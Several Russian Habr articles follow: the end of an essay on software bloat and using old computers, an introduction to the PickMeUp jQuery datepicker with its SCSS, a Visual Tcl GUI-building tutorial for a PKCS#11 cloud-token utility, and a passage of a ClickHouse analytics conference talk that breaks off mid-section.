Производительность NVMe настолько высокая, что нет практически никакого смысла выполнять сжатие данных. 10-20 лет назад было наоборот, но сейчас ситуация сильно изменилась, так что любая компрессия впустую нагружает CPU. Мы просто без причины замедляем выполнение программ, а ведь эти библиотеки для сжатия типа zlib работают *везде*. Это тотальная неэффективность и ненужное замедление.
Всё это накапливается и накапливается. Мы здесь упомянули только несколько причин, почему софт может тормозить. В реальности этих причин тысячи. Никто не думает над оптимизацией. По факту софт становится всё жирнее и медленнее. Похоже, что сильнее всех страдает операционная система Windows.
Linux разбух, но остался быстрым
================================
К сожалению, общие процессы разбухания софта не обошли стороной и ядро Linux. За прошедшие десятилетия оно значительно увеличилось в объёме. Системные библиотеки стали значительно больше. Один только браузер загружает *сотни мегабайт* библиотек, аудио-и видеокодеки, библиотеки для векторной графики, движки Javascript, WASM, парсеры для всех веб-стандартов, принятых за 30 лет. Всё это требует огромного количества памяти, так что система начинает плохо себя вести, если памяти мало.
Например, последние ядра Linux [с трудом удаётся запустить](https://www.youtube.com/watch?v=KAYgCE0wFE4) на процессоре 486DX (AMD 5x86) на тактовой частоте 100 МГц с 32 мегабайтами памяти! А ведь это очень мощная машина для 90-х годов, мало у кого тогда стояло аж 32 мегабайта памяти.
Если вспомнить, то в начале 90-х Linux буквально летал на машинах типа 386SX с 4 МБ оперативки.
Чтобы добиться такого результата на современном ядре, нужно провести большую работу по его очистке от лишних библиотек, поколдовать с настройками компиляции ядра, отказаться от графического интерфейса. Возможно, эту задачу проще решить на более оптимизированных \*nix-системах, таких как NetBSD/OpenBSD.
Но самое главное: если минимальные требования к железу соблюдаются, то современный Linux работает так же быстро, как и 20 лет назад. Системные вызовы в ядре обрабатываются почти в реальном времени, а хорошо настроенная система работает как часы.
Linux по своей архитектуре работает быстрее, чем Windows. Например, новые процессы в Windows не могут спауниться так же быстро, как в POSIX-системах. В Windows это занимает 10-30 мс, а в Linux новый процесс спаунится обычно через `fork() + exec()` и [занимает несколько миллисекунд](https://stackoverflow.com/questions/47845/why-is-creating-a-new-process-more-expensive-on-windows-than-linux).
Это одна из главных причин, почему Windows воспринимается как более медленная система, особенно когда спаунятся тысячи новых процессов, что вполне нормально для шелл-скриптов с командами типа `grep`, `sed` и `sort`. Разница в 10 миллисекунд на тысяче процессов превращается в разницу 10 секунд для двух ОС (Linux/Windows) с одинаковой конфигурацией аппаратного обеспечения.
Но на старом железе современное ядро Linux всё равно будет тормозить. То же самое относится к последним версиям Windows и MacOS. Если на руках старый компьютер 386 или 486, то у нас нет выхода, кроме как установить старую операционную систему.
Когда старая система лучше новой
================================
Если подумать о том, как в новых версиях софта накапливаются ошибки, как он становится всё объёмнее и медленнее, то нет ничего плохого в использовании старых версий на старом железе. По крайней мере, это уже проверенная система. Если она хорошо работала раньше, то будет так же хорошо работать и в будущем. Зачем апгрейдить то, что вас устраивает для конкретной задачи?
Взглянем с точки зрения пользователя. Если человек получает эстетическое удовольствие от определённой операционной системы на конкретном компьютере, зачем ему делать апгрейд? Например, ему нравится Windows 7, но он испытывает отвращение к интерфейсу Windows 10. Такое бывает. И зачем ломать себя? Ради чего, ради последних обновлений безопасности? Может быть, овчинка не стоит выделки.
Иногда при обновлении ОС просто [пропадают нужные программы](http://john.ankarstrom.se/desktop/2021/03/18/why-old-systems/). Например, в старых версиях MacOS была программа под названием HyperCard, это визуальная среда программирования, позволяющая создавать собственные приложения гипермедиа. Её можно назвать «организатором информации», который собирает воедино тексты, картинки, звуки, анимацию в удобном интерактивном виде.
Последней операционкой с HyperCard стала Mac OS 9, потом приложение просто исчезло. Но есть пользователи, которые привыкли к этому формату и накопили какой-то объём полезной информации в виде таких «гиперкарт». Естественно, они несколько раз подумают перед апгрейдом.
Наверное, главная проблема компьютеров со старым софтом — выход в интернет. Последние версии браузеров там поставить невозможно, а старые браузеры не поддерживают современные стандарты HTML5, так что многие сайты будут отображаться некорректно. В [тесте HTML5 для десктопных браузеров](https://html5test.com/results/desktop.html) видно, что они начали понемногу поддерживать эти стандарты с 2010-2011 года. То есть у предыдущих версий поддержка HTML5 находится где-то около нуля.
Вот как выглядит Хабр в браузере Internet Explorer 10 под Windows 7.
Chrome 26 под Linux:
Со старого компьютера многие сайты просто не откроются. Но в некоторых ситуациях можно найти выход. Если не открывается веб-интерфейс Gmail, то забирать свою почту по POP3, а отправлять по SMTP.
Если не открывается Хабр, получать контент можно по RSS (есть и онлайновые читалки, и офлайновые клиенты).
И так далее.
Сейчас вообще многие задачи удобнее выполнять со смартфона, а десктоп остаётся только для специфических программ. Если человек, например, писатель или учёный, использует компьютер просто как печатную машинку и запускает на нём только текстовый редактор, то новый компьютер ему совершенно не нужен.
Очень многие люди привыкли к старым компьютерам и просто не хотят изучать новую систему. Даже если дать им ноутбук за $1000, это бесполезно: они будут использовать его точно так же, как использовали старый компьютер двадцатилетней давности. И даже попросят поставить привычные старые программы. Так какой смысл?
Предположим, что благотворительная организация раздаёт беднякам ноутбуки за $1000. Но человек в бедственном положении просто продаст дорогую технику, купит дешёвый телефон, а остальное использует для покупки чего-то действительно полезного. И он будет совершенно прав.
Ещё старый компьютер хорошо подходит для обучающих целей, потому что ребёнок не сможет запустить на нём современные игры. Правда, и много полезных инструментов он тоже не сможет загрузить. С другой стороны, сейчас всё выпускается и в мобильном варианте, даже программы обучения логике и программированию для самых маленьких: [Code Karts](https://montessori.edokiacademy.com/en/our-games/discovery/car-game), [CodeSpark Academy](https://codespark.com/), [Kodable](https://www.kodable.com/) (платная), [ScratchJr](https://www.scratchjr.org/), [Tynker](https://www.tynker.com/mobile/) и [многие другие](https://codewizardshq.com/coding-for-kids-free/). Они обычно работают и в браузере, и в виде мобильного приложения. Тут главное — воля и желание учиться, а количеством ядер пусть меряются геймеры.
В общем, если старый компьютер работает и выполняет свои задачи, то апгрейд может даже навредить.
---
#### На правах рекламы
Воплощайте любые идеи и проекты с помощью наших [VDS с мгновенной активацией](https://vdsina.ru/cloud-servers?partner=habr382) на **Linux** или **Windows**. Сервер готов к работе через минуту после оплаты!
Присоединяйтесь к [нашему чату в Telegram](https://t.me/vdsina).
[](https://vdsina.ru/cloud-servers?partner=habr382) | https://habr.com/ru/post/557752/ | null | ru | null |
# PickMeUp — хороший jQuery datepicker plugin
#### Проблема
Начиная работу над очередным сайтом понадобился datepicker. Самый известный такой datepicker — в jQuery UI, но так как jQuery UI в проекте не использовался — тянуть даже его часть не хотелось, принялся за поиски достойной альтернативы.
Требования следующие:
* Выбор даты, нескольких дат, интервала
* Простота настройки внешнего вида
* Желательно без каких-либо зависимостей кроме jQuery
Требования вполне логичные, ничего сверх естественного.
Каково было мое удивление, когда просмотрев десятка два плагинов я не нашел подходящего.
Для любопытных — сразу [демо](http://nazar-pc.github.io/PickMeUp/) того, что получилось в результате.
Ближе всех к требованиям оказался [DatePicker](http://www.eyecon.ro/datepicker/).
Но у него было несколько недостатков:
* Избыточная табличная верстка
* Старый стиль оформления картинками
* Просто старый, не развивался с 2009 года
* Несколько досадных багов
Решить их можно было кое-как разово, но было решено довести до ума, ведь не последний проект, да и другим может пригодиться.
#### Велосипед, так велосипед
Первое что захотелось изменить — убрать картинки для округления краев. Но картинки в ячейках таблицы. Убрал ячейки — отвалилась почти вся функциональность… Но ведь пути назад нет!
Потом пошел рефакторинг некоторых вещей, исправление багов, добавление мелких фич, снова исправление багов, и так по кругу.
На всё ушло около двух полных дней, и оно того стоило.
#### Что получилось
Как пример привожу код, генерируемый оригинальным DatePicker:
**Скрытый текст**
```
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
|
| | [2002 - 2013](#) | |
| --- | --- | --- |
| wk | Mo | Tu | We | Th | Fr | Sa | Su |
| [Jan](#) | [Feb](#) | [Mar](#) | [Apr](#) |
| [May](#) | [Jun](#) | [Jul](#) | [Aug](#) |
| [Sep](#) | [Oct](#) | [Nov](#) | [Dec](#) |
| [27](#) | [30](#) | [1](#) | [2](#) | [3](#) | [4](#) | [5](#) | [6](#) |
| [28](#) | [7](#) | [8](#) | [9](#) | [10](#) | [11](#) | [12](#) | [13](#) |
| [29](#) | [14](#) | [15](#) | [16](#) | [17](#) | [18](#) | [19](#) | [20](#) |
| [30](#) | [21](#) | [22](#) | [23](#) | [24](#) | [25](#) | [26](#) | [27](#) |
| [31](#) | [28](#) | [29](#) | [30](#) | [31](#) | [1](#) | [2](#) | [3](#) |
| [32](#) | [4](#) | [5](#) | [6](#) | [7](#) | [8](#) | [9](#) | [10](#) |
| [2002](#) | [2003](#) | [2004](#) | [2005](#) |
| [2006](#) | [2007](#) | [2008](#) | [2009](#) |
| [2010](#) | [2011](#) | [2012](#) | [2013](#) |
|
```
и код, генерируемый PickMeUp:
**Скрытый текст**
```
November, 2013
Mo
Tu
We
Th
Fr
Sa
Su
Jan
Feb
Mar
Apr
May
Jun
Jul
Aug
Sep
Oct
Nov
Dec
28
29
30
31
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
1
2
3
4
5
6
7
8
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
```
Код не идеален, но намного проще и понятнее, а значит и оформлять его проще.
Что ещё нового по сравнению с оригиналом:
* Поддержка указания конфигурационных опций в data-атрибутах
* Глобальная конфигурация плагина
* Независимость языка каждого отдельного календаря
* Стили в маленьком scss файле с конфигурационными переменными — если нужно только изменить цвета — идеально подходит
* Макет резиновый, размер зависит от размера шрифта корневого элемента, выглядит одинаково хорошо при любом размере шрифта
* Размер плагина меньше оригинала
* Все классы имеют префикс `pmu-`, корневой элемент имеет класс `pickmeup`
* Кое-какие мелочи
Так выглядит содержимое scss файла:
```
$border-radius : .4em;
$background : #000;
$color : #eee;
$color-hover : #88c5eb;
$nav-color : $color;
$nav-color-hover : $color-hover;
$not-in-month : #666;
$not-in-month-hover : #999;
$disabled : #333;
$selected-background : #136a9f;
$not-in-month-selected-background : #17384d;
$day-of-week : $not-in-month-hover;
@mixin display-flex() {
display : -ms-flexbox;
display : -webkit-flex;
display : flex;
}
.pickmeup {
background : $background;
border-radius : $border-radius;
display : none;
position : absolute;
* {
-moz-box-sizing : border-box;
box-sizing : border-box;
}
.pmu-instance {
display : inline-block;
height : 13.8em;
padding : .5em;
text-align : center;
width : 15em;
.pmu-button {
color : $color;
cursor : pointer;
outline : none;
text-decoration : none;
}
.pmu-button:hover {
color : $color-hover;
}
.pmu-not-in-month {
color : $not-in-month;
}
.pmu-disabled,
.pmu-disabled:hover {
color : $disabled;
cursor : default;
}
.pmu-selected {
background : $selected-background;
}
.pmu-not-in-month.pmu-selected {
background : $not-in-month-selected-background;
}
nav {
@include display-flex();
color : $nav-color;
line-height : 2em;
*:hover {
color : $nav-color-hover;
}
.pmu-prev,
.pmu-next {
height : 2em;
width : 1em;
}
.pmu-month {
width : 12em;
}
}
.pmu-years,
.pmu-months {
* {
display : inline-block;
line-height : 3.6em;
width : 3.5em;
}
}
.pmu-day-of-week {
color : $day-of-week;
cursor : default;
}
.pmu-day-of-week,
.pmu-days {
* {
display : inline-block;
line-height : 1.5em;
width : 2em;
}
}
.pmu-day-of-week * {
line-height : 1.8em;
}
}
&:not(.pmu-view-days) .pmu-days,
&:not(.pmu-view-days) .pmu-day-of-week,
&:not(.pmu-view-months) .pmu-months,
&:not(.pmu-view-years) .pmu-years {
display : none;
}
}
```
#### Итог
Размер минифицированного плагина:
\* 14.8 KiB JavaScript (4.2 KiB gzip)
\* 1.8 KiB CSS (650 B gzip)
C целью упрощения верстки поддерживается IE10+, и актуальные версии других браузеров (при желании можно сделать поддержку IE9-, но у меня такого желания нет, написал всё-таки в первую очередь для себя).
[Демо](http://nazar-pc.github.io/PickMeUp/) [Репозиторий на GitHub](https://github.com/nazar-pc/PickMeUp)
Искренне надеюсь, кому-то кроме меня этот jQuery плагин пригодится, буду рад конструктивной критике и pull request-ам.
В ближайшем будущем можно встроить другие локализации, в репозитории [bootstrap-datepicker](https://github.com/eternicode/bootstrap-datepicker/tree/master/js/locales) их много разных.
**UPD**
Поддерживаем поднадоевшую традицию 30 строк.
<https://gist.github.com/RubaXa/7547352>, спасибо [RubaXa](https://habrahabr.ru/users/rubaxa/)
**UPD**
В версии 2.0.1 изменилась в лучшую сторону архитектура плагина.
По поводу пожеланий в комментариях:
В версии 2.1.0 добавились новые опции конфигурации + несколько исправлений. | https://habr.com/ru/post/202640/ | null | ru | null |
# Visual Tcl. Разработка графического пользовательского интерфейса для утилит командной строки (Продолжение)
В [предыдущей статье](https://habrahabr.ru/post/332924/) в качестве инструментария для создания графического интерфейса для утилит командной строки на базе Tcl/Tk был рассмотрен конструктор tkBuilder. Конструктор хорош, но как было отмечено в статье обладает и рядом недостатков, главным из которых является отсутствие поддержки UTF-8, а следовательно, и русского алфавита. Еще один недостаток был отмечен пользователем [merlin-vrn](https://habrahabr.ru/users/merlin-vrn/). Это поддержка на сегодняшний день только Tcl/Tk версии 8.4.
Но вот в комментарии от пользователя [svk28](https://habrahabr.ru/users/svk28/) был упомянут конструктор Visual Tcl на базе Tck/Tk:
После предварительного ознакомления было решено использовать его в деле, тем более, что предыдущий материал фактически остался незавершенным, если смотреть на него с точки зрения объявленной цели – дать графическую оболочку утилитам командной строки, с помощью которых можно получить доступ к облачному токену PKCS#11. Поэтому настала пора разработать графический интерфейс и для второй утилиты, а именно ls11cloud\_config:
```
bash-4.3$ /usr/local/bin64/ls11cloud_config
LS11CLOUD User Utility
usage: /usr/local/bin64/ls11cloud_config [-p ] [-n ]
Commands:
register - register new user on the server
duplicate - duplicate user account on other computer
change\_pswd - change SESPAKE authentication password
status - display current configuration data
log - display server log file
recreate - re-create token to initial empty state
unregister - remove all user files from the server
NB: Don't use non-latin letters to avoid encoding problems!
bash-4.3$
```
Первым делом было проверено, какую версию Tcl/Tk поддерживает Visual Tcl. Оказалось, что версия 8.6, которая установлена на моем компьютере, поддерживается конструктором Visual Tcl:
```
bash-4.3$ cd ../vtcl.vtcl-8.6-master
bash-4.3$ ./configure
Using /bin/wish8.6
bash-4.3$
```
Первый запуск конструктора не вдохновил, уж больно много окон появилось на рабочем столе:
Но осмотревшись оказалось что пару окон (новостную ленту – Visual Tcl News и знаете ли вы это – Did you know)можно закрывать без всякого ущерба для работы. И оказывается, что окон уже и не так много и, при необходимости, их можно периодически скрывать.
Приятной неожиданностью стало наличие своего мольберта для каждого виджета класса toplevel:
В нашем проекте потребовалось три виджета класса toplevel и, соответственно, в нашем распоряжении было три мольберта:
1. Виджет GUICloudConfig, основное окно с функциями утилиты ls11cloudconfig (см. выше);
2. Виджет Password, который так или иначе задействован во всех функциях:
3. Виджет CloudToken, который задействуется в функциях Регистрации и Дублирования облачного криптографического токена:
И никаких проблем с *«великим, могучим, правдивым и свободным русским языком!»* (И.С. Тургенев).
Отметим одну особенность дизайнера Visual Tcl. Она связана с редактированием функций. Изменения, вносимые в функции, не попадут в проект до тех пор, пока не будет закрыто окно, в котором редактируется функция:
Отметим также, что проект в понимании Visual Tcl сохраняется как файл Tcl/Tk (\*.tcl) и его в любой момент можно выполнять самостоятельно без дополнительных преобразований. Обратное не верно, далеко не каждый файл Tcl/Tk конструктор будет рассматривать как свой проект.
На еще одну очень полезную вещь навел проект Visual Tcl – возможность сохранения проекта в бинарном коде. Для этой цели задействуется [утилита freewrap](http://freewrap.sourceforge.net/freeWrapDocs.pdf), которая превращает скрипты Tcl / Tk в однофайловые исполняемые программы. Так и мы оба скрипта, реализующих графический интерфейс для утилит p11conf и ls11cloudconfig, преобразовали в исполняемые программы:
```
bash-4.3$ ls
GUITKP11Conf.tcl LS11CLOUD_CONFIG.tcl
bash-4.3$
bash-4.3$ freewrap GUITKP11Conf.tcl
bash-4.3$ freewrap LS11CLOUD_CONFIG.tcl
bash-4.3$ ls
GUITKP11Conf LS11CLOUD_CONFIG
GUITKP11Conf.tcl LS11CLOUD_CONFIG.tcl
bash-4.3$
```
Теперь нам осталось только все (проекты, tcl-скрипты и исполняемые программы) упаковать и выложить для свободного использования. Скачать дистрибутивы для платформ Linux/OS X (macOS)/Windows можно здесь:
Большое спасибо пользователю [svk28](https://habrahabr.ru/users/svk28/) за его подсказку! | https://habr.com/ru/post/333742/ | null | ru | null |
# Теория и практика использования ClickHouse в реальных приложениях. Александр Зайцев (2018г)
Несмотря на то, что данных сейчас много почти везде, аналитические БД все еще довольно экзотичны. Их плохо знают и еще хуже умеют эффективно использовать. Многие продолжают "есть кактус" с MySQL или PostgreSQL, которые спроектированы под другие сценарии, мучиться с NoSQL или переплачивать за коммерческие решения. ClickHouse меняет правила игры и значительно снижает порог вхождения в мир аналитических DBMS.
Доклад с BackEnd Conf 2018г и он опубликован с разрешения докладчика.
Кто я такой и почему я рассказываю о ClickHouse? Я директор по разработке в компании LifeStreet, которая использует ClickHouse. Кроме того, я основатель Altinity. Это партнер Яндекса, который продвигает ClickHouse и помогает Яндексу сделать ClickHouse более успешным. Также готов делиться знаниями о ClickHouse.
И еще я не брат Пети Зайцева. Меня часто об этом спрашивают. Нет, мы не братья.
«Всем известно», что ClickHouse:
* Очень быстрый,
* Очень удобный,
* Используется в Яндексе.
Чуть менее известно, в каких компаниях и как он используется.
Я вам расскажу, для чего, где и как используется ClickHouse, кроме Яндекса.
Расскажу, как конкретные задачи решаются при помощи ClickHouse в разных компаниях, какие средства ClickHouse вы можете использовать для своих задач, и как они были использованы в разных компаниях.
Я подобрал три примера, которые показывают ClickHouse с разных сторон. Я думаю, это будет интересно.
Первый вопрос: «Зачем нужен ClickHouse?». Вроде бы вопрос достаточно очевидный, но ответов на него больше, чем один.
* Первый ответ – ради производительности. ClickHouse очень быстрый. Аналитика на ClickHouse тоже очень быстрая. Его часто можно использовать там, где что-то другое работает очень медленно или очень плохо.
* Второй ответ – это стоимость. И в первую очередь стоимость масштабирования. Например, Vertica – совершенно отличная база данных. Она очень хорошо работает, если у вас не очень много терабайт данных. Но когда речь идет о сотнях терабайтах или о петабайтах, то стоимость лицензии и поддержки выходит в достаточно существенную сумму. И это дорого. А ClickHouse бесплатный.
* Третий ответ – это операционная стоимость. Это подход чуть-чуть с другой стороны. RedShift – отличный аналог. На RedShift можно очень быстро сделать решение. Оно будет хорошо работать, но при этом каждый час, каждый день и каждый месяц вы будете достаточно дорого платить Amazon, потому что это существенно дорогой сервис. Google BigQuery тоже. Если им кто-то пользовался, то он знает, что там можно запустить несколько запросов и получить счет на сотни долларов внезапно.
В ClickHouse этих проблем нет.
Где используется ClickHouse сейчас? Кроме Яндекса ClickHouse используется в куче разных бизнесов и компаний.
* В первую очередь это аналитика веб-приложений, т. е. это use case, который пришел из Яндекса.
* Много AdTech компаний используют ClickHouse.
* Многочисленные компании, которым нужно анализировать операционные логи с разных источников.
* Несколько компаний используют ClickHouse для мониторинга логов безопасности. Они их загружают в ClickHouse, делают отчеты, получают нужные им результаты.
* Компании начинают его использовать в финансовом анализе, т. е. постепенно большой бизнес тоже подбирается к ClickHouse.
* CloudFlare. Если кто-то за ClickHouse следит, то наверняка слышал название этой компании. Это один из существенных контрибуторов из community. И у них очень серьезная ClickHouse-инсталляция. Например, они сделали Kafka Engine для ClickHouse.
* Телекоммуникационные компании начали использовать. Несколько компаний ClickHouse используют либо как proof on concept, либо уже в production.
* Одна компания использует ClickHouse для мониторинга производственных процессов. Они тестируют микросхемы, списывают кучу параметров, там порядка 2 000 характеристик. И дальше анализируют – хорошая партия или плохая.
* Блокчейн-аналитика. Есть такая российская компания, как Bloxy.info. Это анализ ethereum-сети. Это они тоже сделали на ClickHouse.
Причем размер не имеет значения. Есть много компаний, которые используют один маленький сервер. И он им позволяет решить их проблемы. И еще больше компаний используют большие кластера из многих серверов или десятков серверов.
И если смотреть за рекордами, то:
* Яндекс: 500+ серверов, 25 миллиардов записей в день они там сохраняют.
* LifeStreet: 60 серверов, примерно 75 миллиардов записей в день. Серверов меньше, записей больше, чем в Яндексе.
* CloudFlare: 36 серверов, 200 миллиардов записей в день они сохраняют. У них еще меньше серверов и еще больше данных они сохраняют.
* Bloomberg: 102 сервера, примерно триллион записей в день. Рекордсмен по записям.
Географически – это тоже много. Вот эта карта показывает heatmap, где ClickHouse используется в мире. Тут ярко выделяется Россия, Китай, Америка. Европейских стран мало. И можно выделить 4 кластера.
Это сравнительный анализ, тут не надо искать абсолютных цифр. Это анализ посетителей, которые читают англоязычные материалы на сайте Altinity, потому что русскоязычных там нет. И Россия, Украина, Беларусь, т. е. русскоязычная часть сообщества, это самые многочисленные пользователи. Потом идет США и Канада. Очень сильно догоняет Китай. Там полгода назад Китая почти не было, сейчас Китай уже обогнал Европу и продолжает расти. Старушка Европа тоже не отстает, причем лидер использования ClickHouse – это, как ни странно, Франция.
**Зачем я все это рассказываю? Для того чтобы показать, что ClickHouse становится стандартным решением для анализа больших данных и уже очень много где используется.** Если вы его используете, вы в правильном тренде. Если вы еще его не используете, то можно не бояться, что вы останетесь одни и вам никто не поможет, поэтому что уже многие этим занимаются.
Это примеры реального использования ClickHouse в нескольких компаниях.
* Первый пример – это рекламная сеть: миграция с Vertica на ClickHouse. И я знаю несколько компаний, которые с Vertica перешли или находятся в процессе перехода.
* Второй пример – транзакционное хранилище на ClickHouse. Это пример построенный на антипаттернах. Все, что не надо делать в ClickHouse по советам разработчиков, здесь сделано. И при этом сделано настолько эффективно, что это работает. И работает гораздо лучше, чем типичное транзакционное решение.
* Третий пример – это распределенные вычисления на ClickHouse. Был вопрос про то, как можно ClickHouse интегрировать в Hadoop экосистему. Я покажу пример, как компания сделала на ClickHouse что-то типа аналога map reduce контейнера, следя за локализацией данных и т. д, чтобы посчитать очень нетривиальную задачу.
* LifeStreet – Это Ad Tech компания, у которой есть все технологии, сопутствующие рекламной сети.
* Занимается она оптимизацией объявлений, programmatic bidding.
* Много данных: порядка 10 миллиардов событий в день. При этом там события могут на несколько подсобытий делиться.
* Много клиентов этих данных, причем это не только люди, гораздо больше – это различные алгоритмы, которые занимаются programmatic bidding.
Компания прошла долгий и тернистый путь. И я о нем рассказывал на HighLoad. Сначала LifeStreet перешла с MySQL (с небольшой остановкой на Oracle) в Vertica. И можно об этом найти рассказ.
И все было очень хорошо, но достаточно быстро стало понятно, что данные растут и Vertica – это дорого. Поэтому искались различные альтернативы. Некоторые из них здесь перечислены. И на самом деле мы сделали proof of concept или иногда performance testing почти всех баз данных, которые с 13-го по 16-ый год были доступны на рынке и примерно подходили по функциональности. И о части из них я тоже рассказал на HighLoad.
Стояла задача – мигрировать с Vertica в первую очередь, потому что данные росли. И росли они экспоненциально несколько лет. Потом они вышли на полку, но тем не менее. И прогнозируя этот рост, требования бизнеса на объем данных, по которым нужно делать какую-то аналитику, было понятно, что скоро пойдет разговор о петабайтах. А за петабайты платить уже очень дорого, поэтому искали альтернативу, куда уходить.
Куда уходить? И долгое время было совершенно не понятно, куда уходить, потому что с одной стороны есть коммерческие базы данных, они вроде бы неплохо работают. Некоторые работают почти так же хорошо, как Vertica, некоторые похуже. Но они все дорогие, ничего дешевле и лучше найти не удавалось.
С другой стороны, есть open source решения, которых не очень много, т. е. для аналитики их можно пересчитать по пальцам. И они бесплатные или дешевые, но работают медленно. И в них часто не хватает нужной и полезной функциональности.
И того, чтобы совмещало то хорошее, что есть в коммерческих базах данных и все то бесплатное, что есть в open source, — ничего не было.
Ничего не было до тех пор, пока неожиданно Яндекс не вытащил, как кролика фокусник из шапки, ClickHouse. И это было решение неожиданное, до сих пор задают вопрос: «Зачем?», но тем не менее.
И сразу летом 2016-го года мы стали смотреть, что такое ClickHouse. И оказалось, что он иногда может быть быстрее Vertica. Мы тестировали разные сценарии на разных запросах. И если запрос использовал только одну таблицу, т. е. без всяких джойны (join), то ClickHouse был быстрее Vertica в два раза.
Я не поленился и посмотрел еще тесты Яндекса на днях. Там то же самое: в два раза ClickHouse быстрее Vertica, поэтому они часто об этом говорят.
Но если в запросах есть джойны (join), то все получается не очень однозначно. И ClickHouse может быть медленнее Vertica в два раза. А если чуть-чуть запрос подправить и переписать, то примерно равные. Неплохо. И бесплатно.
И получив результаты тестов, и посмотрев с разных сторон на это, LifeStreet поехал на ClickHouse.
Это 16-ый год, напоминаю. Это было как в анекдоте про мышей, которые плакали и кололись, но продолжали есть кактус. И об этом было подробно рассказано, есть об этом видео и т. д.
Я поэтому не буду подробно об этом рассказывать, расскажу только о результатах и о нескольких интересных вещах, о которых я не рассказывал тогда.
Результаты – это:
* Успешная миграция и более года система уже работает в продакшене.
* Производительность и гибкость выросли. Из 10 миллиардов записей, которые мы могли позволить себе хранить в день и то недолго, теперь LifeStreet хранит 75 миллиардов записей в день и может это делать 3 месяца и больше. Если посчитать в пике, то это до миллиона событий в секунду сохраняется. Больше миллиона SQL-запросов в день прилетают в эту систему, в основном от разных роботов.
* Несмотря на то, что для ClickHouse стали использовать больше серверов, чем для Vertica, экономия и на железе получилась, потому что в Вертике использовались достаточно дорогие SAS-диски. В ClickHouse использовались SATA. А почему? Потому что в Vertica insert синхронный. И синхронизация требует, чтобы диски не очень сильно тормозили, а также, чтобы сеть не очень тормозила, т. е. достаточно дорогая операция. А в ClickHouse insert асинхронный. Более того, можно все локально всегда писать, никаких дополнительных затрат на это нет, поэтому данные в ClickHouse можно вставлять гораздо быстрее, чем в Вертику даже на не самых быстрых дисках. А на чтение примерно одинаково. Чтение на SATA, если они в RAID сидят, то это все достаточно быстро.
* Не ограничены лицензией, т. е. 3 петабайта данных в 60 серверов (20 серверов – это одна реплика) и 6 триллионов записей в фактах и агрегатах. Ничего подобного на Vertica позволить себе не могли.
Сейчас я перехожу к практическим вещам в данном примере.
* Первое – это эффективная схема. От схемы зависит очень многое.
* Второе – это генерация эффективного SQL.
Типичный OLAP-запрос – это select. Часть колонок идет в group by, часть колонок идет в агрегатные функции. Есть where, которую можно представить как срез куба. Весь group by можно представить как проекцию. И поэтому это называется многомерным анализом данных.
И часто это моделируется в виде star-схемы, когда есть центральный факт и характеристики этого факта по сторонам, по лучам.
И с точки зрения физического дизайна, того, как это ложится на таблицу, то обычно делают нормализованное представление. Можете денормализовать, но это дорого по диску и не очень эффективно по запросам. Поэтому обычно делают нормализованное представление, т. е. таблица фактов и много-много таблиц измерений.
Но в ClickHouse это работает плохо. Есть две причины:
* Первая – это потому что в ClickHouse не очень хорошие джойны (join), т. е. джойны (join) есть, но они плохие. Пока плохие.
* Вторая – это то, что таблицы не обновляются. Обычно в этих табличках, которые вокруг star-схемы, нужно что-то менять. Например, название клиента, название компании и прочее. И это не работает.
И выход из этого в ClickHouse есть. даже целых два:
* Первый – это использование словарей. External Dictionaries – это то, что помогает на 99 % решить проблему со star-схемой, с апдейтами и прочим.
* Второй – это использование массивов. Массивы тоже помогают избавиться от джойны (join) и от проблем с нормализацией.
* Не нужен джойны (join).
* Обновляемые. С марта 2018-го года появилась недокументированная возможность (в документации вы об этом не найдете) обновлять словари частично, т. е. те записи, которые поменялись. Практически – это как таблица.
* Всегда в памяти, поэтому джойны (join) со словарем работают быстрее, чем, если бы это была таблица, которая лежит на диске и еще не факт, что она в кэше, скорее всего, что нет.
* Тоже не нужен джойны (join).
* Это компактное представление 1 ко многим.
* И на мой взгляд, массивы сделаны для гиков. Это лямбда-функции и прочее.
Это не для красного словца. Это очень мощная функциональность, которая позволяет делать многие вещи очень просто и элегантно.
Типичные примеры, которые помогают решать массивы. Эти примеры простые и достаточно наглядные:
* Поиск по тегам. Если у вас там есть хештеги и вы хотите найти какие-то записи по хештегу.
* Поиск по key-value парам. Тоже есть какие-то атрибуты со значением.
* Хранение списков ключей, которые вам нужно перевести во что-то другое.
Все эти задачи можно решить без массивов. Теги можно в какую-то строчку положить и регулярным выражением выбирать или в отдельную таблицу, но тогда придется делать джойны (join).
А в ClickHouse ничего не нужно делать, достаточно описать массив string для хештегов или сделать вложенную структуру для систем типа key-value.
Вложенная структура – это, может быть, не самое удачное название. Это два массива, которые имеют общую часть в названии и некоторые связанные характеристики.
И по тегу искать очень просто. Есть функция `has`, которая проверяет, что в массиве есть элемент. Все, нашли все записи, которые относятся к нашей конференции.
Поиск по subid чуть-чуть посложнее. Надо нам сначала найти индекс ключа, а потом уже взять элемент с этим индексом и проверить, что это значение такое, какое нам нужно. Но тем не менее очень просто и компактно.
Регулярное выражение, которое вы бы захотели написать, если бы вы все это хранили в одной строчке, оно было бы, во-первых, корявым. А, во-вторых, работало гораздо дольше, чем два массива.
Другой пример. У вас есть массив, в котором вы храните ID. И вы можете перевести их в имена. Функция `arrayMap`. Это типичная лямбда-функция. Вы передаете туда лямбда-выражения. И она каждому ID из словаря вытаскивает значение имени.
Аналогичным образом можно сделать и поиск. Передается функция предикат, которая проверяет чему соответствуют элементы.
Вот эти вещи сильно упрощают схему и решают кучу проблем.
Но следующая проблема, с которой мы столкнулись и о которой я хотел бы упомянуть, это эффективные запросы.
* В ClickHouse нет планировщика запросов. Вообще нет.
* Но тем не менее сложные запросы все равно планировать надо. В каких случаях?
* Если в запросе есть несколько джойны (join), которые вы заворачиваете в подселекты. И порядок, в котором они выполняются, имеет значение.
